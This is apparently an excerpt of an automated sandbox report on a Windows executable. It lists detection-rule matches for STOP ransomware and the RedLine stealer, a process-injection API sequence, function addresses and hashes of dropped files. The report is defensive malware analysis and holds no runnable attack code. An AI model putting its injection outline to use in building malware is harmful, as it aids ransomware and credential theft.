Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000E.00000002.2324121630.0000000000A50000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.2132445419.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.2197813106.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 884, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 2924, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 6028, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 5044, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 6960, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 5432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 3200, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 2448, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: g0Zq7nJjus.exe PID: 280, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02660110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_02660110
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		5_2_026E0110

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02667220	0_2_02667220
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026E22C0	0_2_026E22C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026AE37C	0_2_026AE37C
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02667393	0_2_02667393
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266A026	0_2_0266A026
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0267F030	0_2_0267F030
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266B000	0_2_0266B000
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026670E0	0_2_026670E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026630F0	0_2_026630F0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026700D0	0_2_026700D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266B0B0	0_2_0266B0B0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026AE141	0_2_026AE141
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02669120	0_2_02669120
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0268D1A4	0_2_0268D1A4
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266E6E0	0_2_0266E6E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026AB69F	0_2_026AB69F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266A699	0_2_0266A699
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266C760	0_2_0266C760
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0268D7F1	0_2_0268D7F1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266A79A	0_2_0266A79A
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02663520	0_2_02663520
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02667520	0_2_02667520
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266CA10	0_2_0266CA10
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02667A80	0_2_02667A80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02662B60	0_2_02662B60
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02670B00	0_2_02670B00
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266DBE0	0_2_0266DBE0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026818D0	0_2_026818D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02667880	0_2_02667880
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0267A930	0_2_0267A930
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0266A916	0_2_0266A916
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026659F7	0_2_026659F7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026689D0	0_2_026689D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0268E9A3	0_2_0268E9A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_0268F9B0	0_2_0268F9B0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02668E60	0_2_02668E60
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02694E9F	0_2_02694E9F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_026A2D1E	0_2_026A2D1E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02665DE7	0_2_02665DE7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02665DF7	0_2_02665DF7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040D240	2_2_0040D240
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00419F90	2_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040C070	2_2_0040C070
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0042E003	2_2_0042E003
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00408030	2_2_00408030
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00410160	2_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004C8113	2_2_004C8113
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004021C0	2_2_004021C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0044237E	2_2_0044237E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004084C0	2_2_004084C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004344FF	2_2_004344FF
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0043E5A3	2_2_0043E5A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040A660	2_2_0040A660
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0041E690	2_2_0041E690
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00406740	2_2_00406740
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00402750	2_2_00402750
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040A710	2_2_0040A710
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00408780	2_2_00408780
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0042C804	2_2_0042C804
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00406880	2_2_00406880
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004349F3	2_2_004349F3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004069F3	2_2_004069F3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00406B80	2_2_00406B80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0044ACFF	2_2_0044ACFF
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0042CE51	2_2_0042CE51
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00434E0B	2_2_00434E0B
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00406EE0	2_2_00406EE0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00420F30	2_2_00420F30
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00405057	2_2_00405057
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0042F010	2_2_0042F010
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004070E0	2_2_004070E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004391F6	2_2_004391F6
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00435240	2_2_00435240
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_004C9343	2_2_004C9343
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00405447	2_2_00405447
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00405457	2_2_00405457
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00449506	2_2_00449506
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0044B5B1	2_2_0044B5B1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00435675	2_2_00435675
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00409686	2_2_00409686
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040F730	2_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0044D7A1	2_2_0044D7A1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00481920	2_2_00481920
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0044D9DC	2_2_0044D9DC
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00449A71	2_2_00449A71
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00443B40	2_2_00443B40
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00409CF9	2_2_00409CF9
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040DD40	2_2_0040DD40
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00427D6C	2_2_00427D6C
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040BDC0	2_2_0040BDC0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00409DFA	2_2_00409DFA
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00409F76	2_2_00409F76
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0046BFE0	2_2_0046BFE0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00449FE3	2_2_00449FE3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E7220	5_2_026E7220
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_027622C0	5_2_027622C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0272E37C	5_2_0272E37C
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E7393	5_2_026E7393
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EA026	5_2_026EA026
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026FF030	5_2_026FF030
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EB000	5_2_026EB000
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E70E0	5_2_026E70E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E30F0	5_2_026E30F0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026F00D0	5_2_026F00D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EB0B0	5_2_026EB0B0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0272E141	5_2_0272E141
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E9120	5_2_026E9120
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0270D1A4	5_2_0270D1A4
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EE6E0	5_2_026EE6E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0272B69F	5_2_0272B69F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EA699	5_2_026EA699
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EC760	5_2_026EC760
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0270D7F1	5_2_0270D7F1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EA79A	5_2_026EA79A
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E3520	5_2_026E3520
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E7520	5_2_026E7520
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026ECA10	5_2_026ECA10
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E7A80	5_2_026E7A80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E2B60	5_2_026E2B60
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026F0B00	5_2_026F0B00
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EDBE0	5_2_026EDBE0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_027018D0	5_2_027018D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E7880	5_2_026E7880
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026FA930	5_2_026FA930
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026EA916	5_2_026EA916
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E59F7	5_2_026E59F7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E89D0	5_2_026E89D0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0270F9B0	5_2_0270F9B0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_0270E9A3	5_2_0270E9A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E8E60	5_2_026E8E60
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_02714E9F	5_2_02714E9F
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_02722D1E	5_2_02722D1E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E5DE7	5_2_026E5DE7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_026E5DF7	5_2_026E5DF7
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0042E003	6_2_0042E003
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040D240	6_2_0040D240
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0041E690	6_2_0041E690
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040F730	6_2_0040F730
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00481920	6_2_00481920
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00419F90	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D050	6_2_0050D050
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00405057	6_2_00405057
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040C070	6_2_0040C070
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0042F010	6_2_0042F010
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D008	6_2_0050D008
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00408030	6_2_00408030
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D028	6_2_0050D028
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004070E0	6_2_004070E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D090	6_2_0050D090
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D0A8	6_2_0050D0A8
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00410160	6_2_00410160
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004C8113	6_2_004C8113
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004021C0	6_2_004021C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004C9343	6_2_004C9343
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0044237E	6_2_0044237E
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00405447	6_2_00405447
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00405457	6_2_00405457
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004084C0	6_2_004084C0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C4E0	6_2_0050C4E0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004344FF	6_2_004344FF
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00449506	6_2_00449506
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0043E5A3	6_2_0043E5A3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0044B5B1	6_2_0044B5B1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040A660	6_2_0040A660
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00409686	6_2_00409686
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00406740	6_2_00406740
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00402750	6_2_00402750
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040A710	6_2_0040A710
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00408780	6_2_00408780
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0044D7A1	6_2_0044D7A1
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0042C804	6_2_0042C804
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00406880	6_2_00406880
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C960	6_2_0050C960
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C928	6_2_0050C928
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0044D9DC	6_2_0044D9DC
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_004069F3	6_2_004069F3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C988	6_2_0050C988
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C9A8	6_2_0050C9A8
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00449A71	6_2_00449A71
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00443B40	6_2_00443B40
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CB78	6_2_0050CB78
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00402B80	6_2_00402B80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00406B80	6_2_00406B80
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00409CF9	6_2_00409CF9
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0044ACFF	6_2_0044ACFF
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040DD40	6_2_0040DD40
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00427D6C	6_2_00427D6C
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CD60	6_2_0050CD60
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040BDC0	6_2_0040BDC0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CDF0	6_2_0050CDF0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00409DFA	6_2_00409DFA
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CE58	6_2_0050CE58
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0042CE51	6_2_0042CE51
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00406EE0	6_2_00406EE0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00409F76	6_2_00409F76
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00420F30	6_2_00420F30
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CF28	6_2_0050CF28
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CFC0	6_2_0050CFC0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00449FE3	6_2_00449FE3
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CF90	6_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe 26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe 26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll 4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00428C81 appears 79 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 02690160 appears 50 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 02688EC0 appears 57 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 004547A0 appears 108 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 02710160 appears 50 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 0042F7C0 appears 174 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 02708EC0 appears 57 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00428520 appears 144 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00425007 appears 32 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00454E50 appears 78 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: String function: 0044F26C appears 41 times

Source: sqlite3[1].dll.10.dr

Static PE information: Number of sections : 18 > 10

Source: g0Zq7nJjus.exe, 00000000.00000000.2086010419.00000000008C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 00000002.00000000.2088099855.00000000008C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
